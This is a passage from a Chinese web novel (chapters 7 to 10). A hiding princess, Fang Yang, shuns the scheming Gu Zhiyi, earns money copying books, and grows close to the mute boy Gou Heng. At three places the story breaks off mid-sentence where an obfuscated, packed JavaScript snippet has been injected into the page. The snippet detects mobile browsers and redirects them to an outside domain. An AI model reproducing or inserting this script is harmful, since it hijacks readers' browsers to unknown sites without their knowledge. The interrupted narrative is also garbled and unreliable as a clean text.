“你们......怎么......”辜知易拍雪的动作停下,愣在门口。 “怎么?你们认识?”连棠好奇。 方漾扯着嘴角假笑了一下,冲辜知易微微点头算是打过招呼,心中暗忖:明明算好了今日不是辜知易休息的日子才来的,没想到这场大雪将他送了回来...... “天色不早了,我们就先走了......”方漾作揖要告辞,却被连棠拉住。 “外头风雪这样大,路上不好走,不若再等等?”她给辜知易递了一碗热水,脸却是朝着方漾的,“你的字好,明日雪停了我便去一趟书局,最迟天黑前便会有消息了。” “不等了,家中还有事呢......”方漾朝连棠微微鞠躬道,“多谢连夫人引荐,来日我接上差事赚了钱,定不会忘记您的恩情。” “恩情记在心中即可,好好过自己的日子......”连棠露出一个温和的笑来。 方漾拉着勾衡的手出门,辜知易后脚便跟了出来。 “我送送你们。” “不必了。” “我不走远,只送到村口行吗?”辜知易放缓了语气,带着丝丝恳求。 方漾看着他棱角分明的脸在漫天大雪中变得朦胧,不由想起前世他总是往返于西阚与临占之间去探望她,大雪、黄沙、暴雨,他与她之间总是隔着很多东西,方漾似乎从未清晰地看见过这个人。 “阿嚏!” 身后的喷嚏声将方漾从前世回忆中拉出来,她转头看了一眼睁着大眼睛无辜看着自己的勾衡,心中对辜知易的不耐更盛了。 她蹙眉转头对辜知易道:“我们认识路,不必送了,雪天冷,你还是快回屋去吧。”说罢,不等辜知易回话,她便拉着勾衡疾步走远。 辜知易被留在原地,看着一高一矮两条瘦瘦的身影消失在茫茫白色中。 方漾拉着勾衡,待走到了辜知易追不上来的地方,她忙转身捧起勾衡的脸看。 “冷吗?” 她的温热的气息喷洒在有些冻僵了的脸上,似是春风拂冰面,勾衡愣了愣,而后轻轻摇头。 “生病了可不是小事,你要是不舒服,我们就去找一户人家再歇歇脚......” 勾衡闻言,抬手向后指向两人的来时路。 “辜知易家不行,我不想见到他。”方漾蹙眉。 勾衡歪了歪脑袋:为什么? “他不是什么好人,你也别跟他来往,以后见到他只当不认识。”方漾叮嘱他。 少年点点头,心道:原来姐姐也不喜欢辜知易。 “身子有没有不舒服?”方漾再次确认。 勾衡摇头。 “那我们赶紧回去。” 方漾重新拉起勾衡的手,顶着刮刀子般的寒风往家去。 两人来时没有拉着手,这会儿方漾却一直拉着勾衡的手不松开。 原本只是牵着的两条身影渐渐挨在一起,比先前行进的速度更快了。 待两人回到家,天都擦黑了。 勾衡直接进厨房架起炉子烧热水,方漾跟着他,见柴火已经燃起来了,便道:“走,跟我回屋子里去脱掉衣裳。” 勾衡被方漾拉着进屋,脱掉已经被雪洇透的外衣,两人都将被子裹在了身上。 勾衡坐在门边,透过门缝盯着厨房里的水,水一开,他便放下杯子,赤膊飞速冲出去将水端了进来。 “勾衡!”方漾喊都喊不住他,赤膊冲出去太容易着凉了! 两人喝了热水,身子才算缓过来许多。 方漾见勾衡喝了热水的满足模样,觉得这少年实在单纯又清澈,于是不放心地又叮嘱他:“记住了,以后不要跟辜知易来往。” 勾衡点点头,但一双大眼睛里还是盛满了疑惑。 方漾捧着热腾腾的碗,眯了眯眼睛道:“我说过的,他不是什么好人......” “当初我们在山上遇到受伤的他,明明决定救他和背他的人是你,他却只同我说话......简直是司马昭之心......”说到这儿,方漾顿了顿,问勾衡,“你知道‘司马昭之心’是什么意思吗?” 勾衡点点头,转身指了指自己地铺下压着的、已经卷了边的书册——他识一些字,也有在看书册的。 于是方漾继续道:“还有刚才,他非要送我们到村口,那不是明摆着想跟我们一起从村尾走到村口,让村民们都看见我们相识吗?村子里年轻男女走在一处,难免传闲话,他这是想坏我声誉......” 方漾从前不知,还是这段日子才品出味儿来。 前世辜知易就用这法子,让织段村与满勾村的村民们都误以为他们要成亲了,潜移默化地影响她的决策。 勾衡睁大眼睛点头,有些后怕地吐了口气,而后忽然想起什么似的,指了指自己。 “你?”方漾笑出了声,“你无妨的,你是我弟弟,任谁看都知道你是我弟弟,传不出什么闲话的哈哈......” 勾衡低下头,不知是感到庆幸还是感到失落...... 连棠的动作很快,第二日下午便托人来传消息,说是书局掌柜那边应下了。 于是当天方漾便带着勾衡去了镇子里。 葫芦镇距双宵城还有一段距离,所以并算不上是繁华。镇子上有一条主街,名为“穿衣街”。 据说是因为从前葫芦镇穷,许多百姓连件像样的衣裳都没有,所以葫芦镇渐渐发展起来的时候,就给主街取了这个名字,寓意葫芦镇的百姓们都能丰衣足食。 穿衣街不算长,方漾顺着街头走了一小段,便能看见街尾了。 勾衡让她就在卖烧饼的铺子前等着,她不好挡着别人做生意,于是站在门侧边的巷口处。 这巷子又长又窄,一丝丝风掠过都能被挤成一阵刺骨寒风,方漾顶不住,又往外走了两步,贴着墙根站着。 勾衡背了一大筐柴火来,这会儿去相熟的宅子里送柴火了,等他回来,两人就去寻那书局,取了要抄的书册便回家。 今日天气不错,是个难得的艳阳天,只不过昨日雪下得太大,积得够厚,即便日头照在厚厚的雪堆上也不见化。 街上的积雪倒是被两旁铺子里的伙计们清理了一番,只是还有薄雪残留,被百姓一踩,又被太阳一照,立刻化为了灰黑色的冰碴,看着脏兮兮的。 方漾蒙着面巾靠在墙上,垂眸看着脚下脏兮兮的冰碴,眸色寒凉,整个人透着一股冷气。 本在巷子附近玩耍的孩子们见她如此,都纷纷大喊着“这里有野兽”而后四散逃窜。 好在街上的大人们对孩子们的大呼小叫都见怪不怪了,并未太过留意方漾。 方漾倒不是看着冰碴在想什么,她纯粹在发呆。 前世的她会想很多,关于方勤时、关于辜知易,但如今她都不在乎了。 比起想象方勤时在宫中是如何冲大臣们大发雷霆的,不如想想勾衡的柴火卖出去没......< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他能看出来勾衡家境差,这孩子每次进镇子里都穿的这件薄袄子,也不见身上带干粮,送完柴就要赶回村子里去。 勾衡也不多纠缠,将紫苏叶塞到管家手上,然后拎起背篓就跑得没烟儿了。 “唉这孩子......”胖管家低头看着手上的一把紫苏叶,心里有些又潮又酸的。 勾衡背着篓子转过街角,正要去烧饼铺子寻方漾,忽然有人从背后推了他一把。 “别挡道!滚一边去!别碍着官爷办事!”这人粗声粗气的。 勾衡身子瘦弱,被那人一把推到在地,手腕和膝盖都磕了一下,他没在意,抬头望过去,只见七八个穿着官服的壮汉正手持方漾的画像四处寻人。 勾衡心下一紧,眼见着这群人要往主街去,他忙爬起身转头从巷子里跑了。 方漾在墙根处发够了呆,于是又百无聊赖地开始观察路上的百姓。 葫芦镇的百姓们衣裳不够华美精致,但至少能御寒敝体。而且人人的精神头都不错,说话也并不暴躁易怒,想来日子不算差。 正观察着,不远处的街头忽然响起骚动,方漾抬头望过去,一群人乌泱泱聚在那儿,看不出发生了什么。 她本身也不是爱看热闹的,只还是靠在墙根,脸朝着骚动的方向等人群散去。 只是人群还未散去,她便从缝隙中看见了官服模样。 “喂!墙边那个!站着别动!” 8. 第八章 方漾见穿着官服的人喊住了街头的摊贩,手上似乎还拿着什么画像在对比,心中顿感不妙,立刻转头隐入了小巷。 恰好勾衡从小巷穿过来,见了方漾,忙上前拉住她的手往巷子另一头跑。 “他们是来找我的?”方漾边跑边问。 勾衡点头,拉着方漾不敢有一丝懈怠,直到跑出了葫芦镇才放慢脚步,两人进了路边的观音庙休息。 勾衡觉得躲过一劫,还在喘气,方漾却已然放松了下来。 她凑过去看了一眼勾衡的背篓,问他:“柴火都送完了?那把紫苏叶呢?” 紫苏叶就是在这间观音庙发现的,她见勾衡小心翼翼采了放进背篓,以为他要带回家的。 勾衡比划了一遍:管家伯伯咳嗽,送给管家伯伯了。 方漾点点头——算是意料之中了,勾衡心地好,她是知道的。 待勾衡喘匀了气,又对方漾比划:我去书局拿书册,你在这里等我。 方漾也不坚持,点点头,将连棠喊人送来的推介信递给勾衡,而后又低下头去脱鞋子。 勾衡不知道她要做什么,只慌乱地抬头望向破庙的房顶——女子的脚不能乱看,娘说过的。 方漾察觉勾衡的动作,转头看了他一眼,小孩浑身僵硬,眼睛都忘了眨,连呼吸都变轻了。 她好笑地低下头,将右脚鞋子脱了,又将袜子也脱了,露出白皙的脚腕。 虽说在战场上打拼了这么多年,但身上被衣裳覆盖的地方仍是肤白胜雪。 白晃晃的脚腕上系着一根红绳,绳子上穿着金环。 金环是她第一次出宫去往涵柘战场时,乔浣玉去庙里给她求的,红绳也是在庙里求的,金环不变,红绳则一年一求,年年都戴着不重样。 她将红绳解下来,捏在手中摩挲了片刻,吐出一口气,重新将鞋袜穿好,而后将还留有余温的绳子递给勾衡:“你当掉这个,去书局拿书册的时候,顺便买些笔墨来,跟掌柜说拿最便宜的就行。” 勾衡垂眸看着方漾手中的红绳,没接。 “你去哪儿?”方漾见勾衡起身要走,忙喊住他。 勾衡转头,做了个下压的手势,示意方漾就在这儿等着,然后转头出去了。 方漾蹙眉,起身来到窗边,透过观音庙破旧、结着蜘蛛网的窗户,她看见勾衡细瘦的身影正快步往葫芦镇去。 勾衡闷着头往前走,进了镇子才抬头扫视了一圈——先前那群穿官服的壮汉已经走到穿衣街尾了。 他将手伸进薄袄中摸索了一下,确认那东西还在,便朝着当铺去了。 当铺伙计见勾衡是个哑巴,看着也穷,于是刻意压他的价。 勾衡说不出话,比划了半天,伙计眼睛一闭权当看不见。 勾衡急得眼睛都红了,眼见着天将擦黑,书局快要关门,他只好一咬牙应了价。 拿着银钱从当铺走出来时,勾衡还忍不住回头望了一眼——也不知何时能赎回来。 书局掌柜听连棠提起过,新来的抄书人家中有个不能言语的弟弟,于是见勾衡拿着推介信过来,也并未多为难,将准备好的书册给了勾衡。 勾衡接了书册,又掏出银钱指了指笔墨。 掌柜挑了最便宜的给他,同他约定了归还书册与抄本的日子。 方漾在观音庙待到了天黑,才见勾衡回来。 勾衡将书册与笔墨小心翼翼地放入背篓中,然后稳稳背起,同方漾踏上了回家的路。 从满勾村到葫芦镇,中间要穿过一大片农田,农田中间有一条很长的土路,平时百姓们要去镇子上赶集,都得走这条路。 眼下天黑了,土路两旁没有屋舍,两人只能靠着月光照亮脚下的路。寒风从四面八方袭来,两人却都未觉得难熬。 抄书的事有了着落,以后家里又多一个进项,日子能好过些。 “等抄书赚了钱,给你和施姨买厚被子和厚衣裳好不好?正好快过年了。”方漾道。 勾衡闻言,侧身指了指她。 “好,我也买厚衣裳,我们都过个暖和年。” 勾衡点头,目光却一直停留在方漾的脸上——她说这话的时候,眸子里的光很亮。 方漾是不会一直留在满勾村的,这事从方漾第一天到家中,施慕虹便同勾衡说过。 今日带方漾进镇子里,她独自站在墙边等待,穿着破衣裳,还裹着破面巾,却丝毫不显得落魄。 勾衡原先觉得是满勾村太穷了,不衬方漾的气质,才会让她看起来违和。 但今日她站在穿衣街头,仍然与街上的百姓格格不入,而葫芦镇已经是勾衡觉得最“高大上”的地方了。 她生来就是龙凤,不会一直停留在山沟沟里的。 “看着我做什么?”方漾忽然问。 勾衡默默吸了一口气,摇着头将目光挪开——没关系,她的光芒也曾有一刻落在过我的身上,足够了。 两人看见村口时,天已经全黑了。 施慕虹在屋子前左等右等都不见人来,便急得裹紧衣裳去村口等。 “阿衡还没归家呢?要去我屋里坐坐不?”住在村口的大娘招呼施慕虹。 施慕虹在冬夜里冻得手脚都僵住了,正要应声去屋子里暖暖,却见黑黢黢的路上多了两道身影。 “阿衡?公......”施慕虹想起大娘还在身侧,于是忙闭了嘴,没将那句“公主”喊出来,好在那两道身影已经听见了。 方漾牵着勾衡的手走近,大娘家中微弱的烛光映在几人脸上,将冬夜的冷都驱散了些。 “这是你那个远房侄女?”大娘看向方漾,虽脸上蒙着布巾,却遮不住那双漂亮又英气的眸子,大娘忍不住叹道,“真是你家远房亲戚啊?长得真好看......难怪你藏得这么严,可千万别被村子上的单身汉看见了,不然你家门槛都要踏破了哈哈......” “是啊,也烦请您别同村子里的人说,我还要将侄女送回她爹娘身边的,可不好在这里就定下亲事啊......”施慕虹与大娘说笑了两句,而后道,“两个孩子赶路过来,怕是没吃饭,我得带他们回去吃点东西......” 大娘意识到自己耽误人家吃饭了,忙道:“好好,快去吧......” 这一路上,方漾已经习惯牵着勾衡了,于是回家的路上也没松开手,直到进了屋子。 施慕虹让方漾脱了外衣上床休息,自己则带着勾衡去厨房做饭了。 今日没有下雪,但外衣穿了这么久,早已被寒气浸透了。勾衡蹲下身架起炉子点好火,火舌一下下舔着锅底,他的衣角也染上热气。 “阿衡。” 听到施慕虹喊自己,勾衡便回头仰望她。 施慕虹看见自家儿子干净又无辜的眼睛,方才压低的语气忍不住轻了许多:“今日怎么同公主牵着手回来了?她是公主......与我们有着云泥之别,你莫要冒犯了她......” 勾衡捻了捻手指,有些失落地垂下眸子。 施慕虹忽然觉得自己刚刚还是把话说得太重了,正要再安慰一二,却见勾衡又抬起头来。 勾衡抬手点了点自己的眼睛 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她将背篓里的笔墨纸张和书册取了出来,屋子里没有桌子,她便掀开草席,将纸平放在床板上,施慕虹进屋时,她正要去取水来研墨。 “夜深了,明日再抄吧?”施慕虹见状,忙劝道。 夜里烛火明灭不定,这时抄书,怕是眼睛都要坏掉了。 方漾本想坚持先抄一些,却见床边的蜡烛已经烧得只剩个底——又要换蜡烛了。 于是她点点头,收起了书册,接过施慕虹手中的热水,小口小口地喝起来。 热水划过口腔,带着温热一路从食道落入胃中,让方漾全身都舒坦起来。 “施姨。”她喝完水,并未将碗递给施慕虹,而是喊了她一声。 “怎么了?公主还有什么吩咐?”施慕虹毕恭毕敬道。 “以后别叫我公主了,我现在不是公主,而且这么叫也容易暴露身份。” “可是......” “施姨,虽说是乔姨派人将我送过来的,但您确实对我出钱出力,这份救命之恩我牢记于心,我往后还要在这里养伤至痊愈,您只管拿我当个远房亲戚便是,不必如此小心。” 施慕虹对上方漾的目光,她眼中坦诚而温和,丝毫没有上位者的压迫气息,因为要示好,她刻意收敛了气势。 “我知道了......”施慕虹半晌才点了点头。 “以后叫我阿漾就好了......”说到这儿,方漾的声音落下去了些,“从前,乔姨也是这么叫我的......” 施慕虹的性子与乔浣玉有相似之处,但乔浣玉在宫中那样虎狼环伺之地,早练就了一身金刚不坏的功夫。 而施慕虹则更单纯,不过两人都是温柔的性子,是以方漾对施慕虹带着天然的熟悉与亲近感。 “好的,公......”施慕虹差点又要脱口而出,还好止住了,她看了方漾一眼,方漾正乖巧盯着她看,似是在催促她说出那两个字。 “阿漾......” “嗯。” 方漾毫不犹豫的应声,无疑是给了施慕虹鼓励。 “碗给我吧,再歇会儿就可以吃饭了。”施慕虹放松了许多,朝方漾伸出手,不似从前那样前倨后恭了。 方漾嘴角勾着笑,将碗递给施慕虹,然后起身跟在施慕虹身后进了厨房。 勾衡正蹲在地上煮米汤,并未在意谁进了厨房,直到方漾的声音在他身后响起。 “阿衡,在煮什么?” 9. 第九章 直到方漾蹲在自己身边一起看着火舌舔锅,勾衡才回过神来,转头看了一眼施慕虹。 施慕虹则是冲他摆摆手:随她吧。 得了母亲的允许,勾衡这才放心地继续蹲好。 “你们今天也吃豆腐吗?”锅上有盖子,方漾看不见里面煮的是什么。 勾衡点头,原以为方漾又会就“谁吃豆腐谁吃米汤”而与他“争论”一番,没想到方漾只是点点头,淡然道:“你们再忍忍,等我抄书赚了钱,就可以一起吃米饭了。” 勾衡听说可以吃米饭,眼睛都亮了,他侧头直直盯着方漾。 方漾忍不住抬手在他脑袋上呼噜了一下:“看我做什么?我说到做到,你们等着吃米饭就好了。” 在两人身后看着的施慕虹忽然眼眶泛酸——她也想过抄书补贴家用,只是她的字不够好,书局不要,她才去驿站的。 可驿站赚的实在不多,李婶家也只是在村子上有些余钱,到她手上的也不多,加上家中的零碎支出,还有菜园子的租金,余下的只够母子俩果腹罢了。 眼见着勾衡慢慢长大,同龄的男孩子个头都在疯长,他却一点动静都没有,站在方漾身边小小一只,叫人看了都心生怜爱。 若是方漾抄书能赚银钱让勾衡吃上米,那方漾就是她家的恩人,施慕虹悄悄转身抹掉了眼角的泪花。 方漾倒也不是在说大话,李晃教导她时,尤为注重她的字,连写字的速度也是每日盯着练过的。 眼下经由连棠的引荐,书局愿意破格用她这个面都未露过的人,已算是让她踏过了最难的那道门槛。 接下来,她只需将书册抄好送回,再取书册回来抄写便是。 她敢肯定,同样的时间内,双宵无人会比她抄得更快、更好。 接下来的几日,她睁眼便跟着勾衡去菜园子里忙点轻快的活儿,中午吃过饭就开始抄书,直到夜幕降临。 勾衡每天下午出去捡柴火回来劈,起先还怕劈柴动静大,吵到方漾。 没成想方漾见他小心翼翼的模样,还以为他是受伤了瞒着不说,硬是将他拽进屋子里,脱了衣裳检查了一番。 虽说还给他留了一条中裤,但这是勾衡第一次被施慕虹以外的女人看身子,重新穿上衣服后,他连脖颈都红透了。 “没受伤就好了,你这小身板,要是受点什么伤,可没我好养啊......” 勾衡羞得抬不起头。 方漾见状便凑过去笑他:“害羞了?这有什么的?先前在军中,什么样的男子身体我没见过?” 勾衡闻言,睁大了眼睛望着她。 “不是我说,你这白斩鸡似的身材,放在军中根本不够看。”方漾笑着道。 勾衡忍不住抱紧自己的胳膊捏了捏——虽然细瘦,但好歹也是有些力气的,干嘛这么说他...... “所以你到底为什么不好好劈柴?”方漾言归正传道。 勾衡指了指床板上的笔墨,又指了指方漾的耳朵。 “怕吵到我?” 勾衡点头。 “吵不到的,抄书又不费脑子,你劈你的。”方漾道。 勾衡这才放心地劈柴去了。 方漾速度快,没几日便抄好了,怕去镇子里遇上巡查的人,她只能托勾衡去送书册。 勾衡借着送柴火的名义,在书局与满勾村来回递送,不知不觉两个月便过去了。 这天书局掌柜给他将书册装入了背篓中,勾衡正要走,却被叫住了。 “诶,急什么?你姐姐的工钱不要了?” 勾衡忙转身回到书局内,睁着大眼睛看向书局掌柜。 掌柜是个瘦瘦的中年男人,留着山羊胡,眼白有些泛黄,看人的时候显得有些浑浊。 他从柜台后头取出一个巴掌大的红布包裹,当着勾衡的面放入他背篓最底下,叮嘱他道:“你姐姐这个月的工钱都在里头,明细也写好了放在里头,回家让你姐姐仔细核对,千万别弄丢了。” 勾衡小心地用书册将红布包裹盖住,认真点头应下。 掌柜看着面前少年的认真模样,也不多说什么了,目送他出了书局。 其实方漾也已经算到这几日便是发工钱的日子,原打算若是掌柜此次还不提此事,她下次便让勾衡带纸条去催催,没想到今日勾衡便将工钱带回来了。 抄书这活儿赚得不少,而且方漾够勤恳,两个月下来赚的能抵上施慕虹一年的工钱。 夜里就着烛火,三人围在床尾,看着床板上摆着的工钱。 “先拿出这些,给连姨回个礼。”方漾数了一些铜板单独挪到一旁。 施慕虹点头道:“是要回个礼的,她前两日还特地送了些红枣来,这可是好东西啊。” 这两个月里,连棠时常会给施慕虹她们送些东西,有时是针线,有时是吃食,虽都不是特别昂贵的东西,但积少成多,施慕虹心里念着这份情。 勾衡从未一次性见过这么多钱,心中不仅有兴奋,还有庆幸——庆幸这钱不是自己的,不然他还真不知道要如何花...... 门外寒风呼啸,屋内虽也不暖,但三个人脸上都带着笑意,心口处源源不断冒着热气,足以抵抗这冬夜。 临近过年,即便是偏远的村子,也都将屋子洒扫了。 门口贴着的旧对联经过风吹日晒,已经破得不成样子了,但村民依然乐呵呵看着,想来家中已备了新的对联与桃符,只等除夕那日换上。 方漾拎着一坛米酒走在去织段村的路上,边走边琢磨。 明日便是除夕,辜知易应该已经归家了...... 想到这儿,她忍不住皱了皱脸——真是不想见到辜知易,但这是第一次结工钱,无论如何也要来连棠这里“表示”一下的。 见她脸色不好,勾衡停下脚步待她走近,将左手拎着的红枣与糖瓜一并放在右手中,腾出手拉住方漾的衣角。 “嗯?怎么了?”方漾被他拉住,只好停下询问。 勾衡指了指她的脸,又指了指她腰间,露出担忧的神色。 “啊......”方漾知道他是误会了,忙解释道,“不是伤口痛,我就是......就是......”她犹豫了片刻,觉得隐瞒她对辜知易的敌意没什么必要,于是道,“就是不想见到辜知易。” 勾衡歪了歪脑袋。 “他这个人心思太深了,我不喜欢跟这种人打交道......”方漾嘟囔。 说着,她忽然凑近勾衡,捏了捏他瘦巴巴的脸颊:“我喜欢跟你打交道,我们阿衡又单纯又善良,谁见了都会喜欢的。” 勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333316|183351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衡感觉被她碰过的面皮已经烧起来了,但又不知该作何回应,只能愣在原地。 方漾看他愣住,忍不住哈哈大笑起来。军营中都是些兵油子,说起浑话来脸不红心不跳的,像勾衡这样容易害羞的实在罕见,方漾觉得好玩极了。 勾衡被她笑得更加不好意思了,忙转身往前走,脑袋低低的,走两步扭一下脖子,一副想回头看,却又不敢回头看的模样。 方漾跟在后头看他别扭的身影,默默叹了口气——这小孩性子太软,心地又善,若是不好好磨炼一番,即便躲得过辜知易的圈套,也还会被他人蒙骗...... 才进织段村,还未走太深,便听村里传来一阵吵闹声。 方漾个头高,踮脚望见辜家院子里挤满了人,她顿时心下一惊——难道是连棠写风月文之事败露了?不对啊......前世分明是在一个月后才出事的...... 她赶忙上前,走了两步,耳畔传来的声音逐渐清晰了。 这哪里是吵闹声?分明是嬉闹声...... “阿漾?阿衡?”连棠抬头,忙停了笔冲两人招呼。 村民们见状,纷纷自觉让出一条路来。 连棠穿过院子走过来,方漾忙拉着勾衡迎上前。 “你来得正是时候!”连棠指着支了桌子站在院子里的辜知易道,“知易在帮邻里想对联,我都快写不过来了,你快帮帮我......” 方漾这才知道发生了什么,原来是临近除夕,村上的人都拿着空对联来请辜家帮写。 “连姨,我是来给您送东西的......”方漾被连棠拉着,边走边小声道,“前两日书局的工钱结了,我给您买了些礼......” “早说了不必的......”连棠脸上带着笑,拍了拍方漾的手。 两人动作不大,却引起了院子里其他村民的注意。 “哪里来的姑娘?俊得很啊!” 连棠只好道:“这是隔壁满勾村的阿漾,那个是她弟弟阿衡......” 她说着,抬手点了点紧紧跟在方漾身后的勾衡。 勾衡哪里见过这么多人围着自己?只贴着方漾低下头,浑身都不自在。 方漾忽然很庆幸自己同连棠说话时没有报真名,只说了“阿漾”,而且出门前为了御寒,她还蒙了面巾。 “呀......满勾村有这样标致的姑娘,我怎么不晓得的?”一个中年婶子凑上前,几乎要贴到方漾脸上去了。 “你可有婚配啊?”婶子大声问。 村民们爱看热闹,尤其爱看这种婚嫁热闹,听了婶子的询问,都纷纷住了嘴看过来。 一时间,整个院子都静了,只等着方漾答话。 方漾张嘴正要说,便听连棠道:“可不许打她的主意,她这一手好字,往后有大造化的......” 方漾转头,连棠却不看她,可握着她的那只手暗暗用了些力,捏着方漾,让她先别出声。 “我先带姐弟俩进去喝口热茶......”连棠说着,拉起方漾的手往屋子里走,边走边转头嘱咐辜知易,“你先招待好邻里们......” 进了屋,关上门,方漾原想松口气,却听外头不知哪个村民忽然喊了一声:“叫我们别打主意,怕不是想留给自家当媳妇吧?” 10. 第十章 屋外忽然响起一阵笑声来,连棠有些不好意思地同方漾道:“乡亲们爱说笑,没有恶意的。” “嗯,我知道。”方漾点点头,她的伤快痊愈了,最多一个月后,她便会离开满勾村往西去,到时这里会留下何种传言,她都不在乎。 “这是给您买的米酒、红枣,还有糖瓜......” “我只收这一次啊,往后别再送了。”连棠嗔道,“那日知易送完你们回来才同我说,你先前救过我家知易,引荐你去书局权当是还救命之恩,就这我还嫌不够呢,你还给我送礼,叫我怎么敢收?” 方漾提了提嘴角,心中堵着一口气,上不去下来的。 说到底她那日算不上“救”了辜知易,退一万步讲,对辜知易有恩的应当是勾衡,怎么到了辜知易嘴里,竟变成她救了他? “我那日没做什么,我弟弟倒是背着辜知易走了许久,该谢我弟弟的。”方漾道。 站在屋子角落里不曾言语的勾衡忽然抬起头看向方漾。 方漾感受到他的目光,转头同他对视。 连棠听了,便绕过方漾,拉起勾衡的手道:“原来是这样,那浑小子都不同我说实话......”说到这儿,她忽然转头看了方漾一眼,似是明白了什么。 送完礼又喝了热水,连棠重新领着方漾与勾衡去了院子里。 “哎唷!这样挽着手,倒像是关系极好的婆媳了!”先前问方漾是否婚配的婶子看见了三人,自然而然地忽视掉年纪小又瘦弱的勾衡,直接打趣了连棠与方漾。 “你小子好福气啊!”站在桌边等着辜知易写字的大爷冲辜知易道。 辜知易捏着笔的手悬在空中,抬头望向方漾。 只见方漾微微蹙起眉头,并不同他对视,脸上隐隐透着不耐烦。 连棠站在一旁将两人的动作收入眼底,默然叹气,对院子里的村民道:“阿漾是来送年礼的,送完了也该回去了......” 有村民出声道:“这姑娘会写字吗?” 此话一出,其余村民们都晓得那人的意思,纷纷撺掇方漾站到辜知易身边写字去。 辜知易停了手中的毛笔,看向方漾。 方漾心里不愿意极了,但当着这么多村民的面,连棠也被架着站在一旁,她正要应声,却听身后响起一个熟悉又嘶哑的声音。 “啊......” “阿衡?”方漾转头看向勾衡。 勾衡正蹲下身捂着脚踝,一脸可怜兮兮地望向方漾。 “怎么了?”方漾快步离开人群,蹲在勾衡身边。 她掰开勾衡捂着脚踝的手,这才看见他清瘦见骨的脚踝上有一道新鲜的血痕,正汩汩往外淌血。 “呀?怕不是被后头的篱笆划了?”有村民见状,指着勾衡身后的篱笆道。 方漾看了一眼篱笆,抿了抿唇,转头问勾衡:“疼不疼?我带你去看大夫?” 勾衡连忙摇摇头,伸手在空中比划了两下,方漾很快便看懂了他的意思——家里有草药,回去自己敷药就好了。 “连姨,我弟弟伤着了,我带他回村去看大夫,今天怕是不能帮忙了......”方漾对连棠道。 “我这里无妨的,你快些带他去看看吧......”连棠忧心道。 方漾忙搀着勾衡离开了辜家院子,从始至终都未对辜知易说过一句话。 勾衡扶着方漾的胳膊,一瘸一拐地走出了织段村,才走出去几步路,方漾便松开了手。 勾衡懵懵地望向她。 “你再装?”方漾的脸色有些冷,吓得勾衡不敢动了。 “那篱笆向外斜插入地里,即便不当心靠近,也该是划伤小腿和膝盖,怎会划到脚踝去?”方漾压着眉毛问。 勾衡有些心虚地低下头。 他身子瘦弱,而且一脸娃娃像,本身就像个半大孩子,这样委屈地塌了肩膀,便更显得可怜无助了。 方漾舍不得用审讯的语气吓他,只好深吸了一口气,放缓了声音道:“说说吧,为什么要故意划伤自己?” 勾衡半低着头,一双黑白分明的大眼睛翻起来看了方漾一眼,又很快垂了下去,像做错事的小狗。 “不说的话,我会把这件事如实告诉施姨。” 勾衡闻言,瘪了瘪嘴,抬手开始比划起来:你不喜欢辜知易。 “我不待见辜知易,跟你划伤自己有什么关系?” 勾衡:不想你跟他站在一起。 勾衡放下手的瞬间,方漾忍不住心头一软——为了给她解围,不惜划伤自己吗? 勾衡有些忐忑地站着,也不敢看方漾的眼睛,只能垂着脑袋盯着方漾的鞋子。 忽然,那双鞋子往前走了半步,他感觉自己的手臂又被搀住了。 “走吧,回去敷草药。”方漾无奈道,“下次不要用伤害自己的方式来帮我,你只要走过来,拉住我的衣服就好了,你给我一个台阶,我就有办法下来,懂吗?” 勾衡设想中的骂声并未出现,一双亮晶晶的眸子直直地盯着方漾看。 “跟你说话,听进去没?”方漾停下脚步转头对上勾衡的目光。 勾衡忙点点头,乖巧得不行。 今年是勾衡有记忆以来,最有年味的一年。 施慕虹说,勾衡刚出生时也是有过一段好日子的。 “他爹勤恳,愿意在田里卖力气,恰逢那年天时大利,是百年难遇的大丰收,且只有我们这片,别处可没有我们这儿收的粮食多......”施慕虹回忆起往事时,嘴角噙着淡淡的笑,“我怀了阿衡后,他爹就一头扎进农事里,说要给阿衡攒钱读书......” 勾衡很少听施慕虹聊起父亲,眼下正蹲在厨房里听得入神。 “后来呢?”方漾直觉往后怕都是不好的事,但见勾衡那样好奇,又观施慕虹眼中的留恋与怀念,她便暗忖此事还是说出来得好。 一来勾衡能更了解自己的身世,二来施慕虹也能将心中苦痛倾诉出来。 “后来......他丰收赚了银钱,阿衡也出生了,我们过了一段好日子......”说到这儿,施慕虹轻声叹了一下,“可穷了那么多年的人,见了钱难免就会失分寸,他租了更多田地,舍不得花钱雇人,就自己闷头干,好不容易熬到田熟了,却没有前一年收的粮食多......” “甚至......比从前还不如......”施慕虹低声道。 方漾皱起眉——一个人只有一双手,怎么可能顾得过来那么多田呢?失败是必然的。 “他不信邪,不肯放弃手里的地,想着再搏一年......后来......累死在地里了......”施慕虹眼中闪着泪光,她默默偏过头去,不想让勾衡看见。 勾衡的眼眶也泛着红,方漾忍不住伸手摸了摸他的脑袋。 能将一个年轻男人累死,那田地定不是一般大。 满勾村的田都是村子里的人在种,家家户户都拨不出空余的人手。 想来勾衡他爹死后,施慕虹顾不来那么多田,身上怕是背过债...... “葫芦镇有户人家,看中了他爹留下的田,不许村里人帮着我种,交不起田税,我只能把地卖给他......不......不是‘卖’,是‘送’......家里的粮吃完了,阿衡又那么小......饿得脸都黄了......我真想过随他爹去了算了......” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 